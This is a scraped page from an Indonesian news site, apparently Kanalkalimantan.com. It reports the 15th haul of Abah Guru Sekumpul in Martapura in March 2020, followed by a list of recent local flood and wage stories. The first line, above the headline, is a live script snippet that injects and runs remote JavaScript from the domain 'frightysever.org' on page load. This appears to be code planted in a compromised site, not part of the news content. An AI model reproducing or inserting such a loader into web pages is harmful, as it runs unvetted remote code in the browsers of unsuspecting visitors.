(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jutaan Mata Saksikan Dua Putra Guru Sekumpul Pimpin Puncak Haul ke-15


KANALKALIMANTAN.COM, MARTAPURA – Dua putra Guru Sekumpul pimpin haul Dua putra KH Muhammad Zaini bin Abdul Ghani yang akrab disapa Abah Guru Sekumpul, Muhammad Amin Badali dan Ahmad Hafi Badali memimpin prosesi haulan di Mushollah Ar Raudhah Komplek Sekumpul usai shalat Maghrib, Ahad (1/3/2020) malam.

Haul ke-15 Abah Guru Sekumpul dihadiri jutaan jemaah yang datang bukan hanya dari Provinsi Kalsel dan Kalimantan, tetapi juga dari Jawa dan daerah lainnya di Indonesia sehingga jumlahnya mencapai jutaan. Bahkan, jamaah dari luar negeri seperti Malaysia, Brunei Darussalam hingga ulama dan para habaib dari Timur Tengah juga menghadiri haul ulama kharismatik asal Martapura, ibukota Kabupaten Banjar, Kalsel.

Ya, hari ini Kalimantan Selatan menjadi magnet dari perjalanan cinta ruhani. Ketika jutaan umat, bergerak menuju satu titik di daerah Sekumpul, Martapura, Kabupaten Banjar, tempat digelarnya Haul ke-15, Al ‘Alim Al ‘Allamah Al ‘Arif Billaah As Syaikh Maulana Muhammad Zaini bin Abdul Ghani.

Cahaya cinta yang tak hanya menggerakkan langkah jamaah dari kota hingga pelosok desa, di berbagai daerah di nusantara hingga mancanegara. Baik yang datang berjalan kaki, menggunakan kendaraan roda 2, mobil, kapal, hingga pesawat pribadi. Cahaya cinta pula, yang menggerakkan tuan rumah haul–seluruh masyarakat Kalsel, untuk tak kenal lelah menyediakan makanan, penginapan, tumpangan, hingga sekadar tambal ban gratis.

Semua, menjadi cermin kasih sayang Abah Guru Sekumpul terhadap umat. Sekaligus menunjukkan besar dan tingginya derajat keulamaan beliau. Malam menjelang selepas shalat Magrib, seluruh jamaah larut dalam acara inti haul.

 Acara dimulai pembacaan Al Qur’an, Surah Yunus ayat ke-62. Lalu dilanjutkan pembacaan Maulid Habsy dan tahlil, dengan berdzikir nasyid. Semua khusuk dalam lantunan sholawat dan doa. Mereka bukan hanya berasal dari Indonesia, tapi juga dari negara tetangga. (Kanalkalimantan.com/rdy)

 

Reporter : Rdy
Editor : Cell

 


Desy Arfianty

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

11 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

11 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

14 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

20 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.